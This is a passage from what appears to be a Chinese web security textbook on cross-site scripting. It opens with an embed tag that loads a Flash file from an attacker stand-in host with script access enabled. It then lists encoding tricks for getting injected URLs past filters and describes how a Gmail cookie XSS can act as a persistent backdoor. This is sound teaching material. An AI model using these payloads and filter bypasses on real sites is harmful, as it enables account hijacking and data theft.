<embed allowscriptaccess="always" src="http://www.evil.com/x.swf" />
6.7.6 突破 URL 过滤
有的时候,我们注入 URL 时,可以参考如下一些技巧来绕过过滤:
正常: <A HREF="http://66.102.7.147/">XSS</A>
URL 编码: <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">
XSS</A>
十进制: <A HREF="http://1113982867/">XSS</A>
十六进制: <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制: <A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合编码: <A HREF="http://6 6.000146.0x7.147/">XSS</A>
不带 http:协议: <A HREF="//www.google.com/">XSS</A>
最后加个点: <A HREF="http://www.google.com./">XSS</A>
6.7.7 更多经典的混淆 CheckList
经典的混淆XSS利用点
参考 html5sec.org 网站上整理的 CheckList
参考由 Gareth Heyes 主导构建起来的在线 fuzzing 平台(shazzer.co.uk)可以加入这个平台,构建自己的 fuzzing 规则,利用自己的各种浏览器进行模糊测试,从 shazzer 中能发现大量的 XSS 利用点。
6.8 其他案例——Gmail Cookie XSS
Cookie 参数值中不允许有空格存在,所以在需要用到空格的时候要进行编码。
此Cookie XSS价值?
如果仅仅是 Cookie XSS 本身几乎是没价值的,因为攻击者很难事先改写 Cookie。但是如果结合 Gmail 的其他 XSS,比如一个反射型 XSS,这个 Cookie XSS的价值就可以发挥出来。攻击者可以通过这个反射型 XSS 将 Payload 写到 Cookie 中,只要 Cookie 不清除,即使反射型 XSS 被修补了,那么每次用户进入 Gmail 的时候,Cookie XSS 都可以触发,这就留下了一个后门。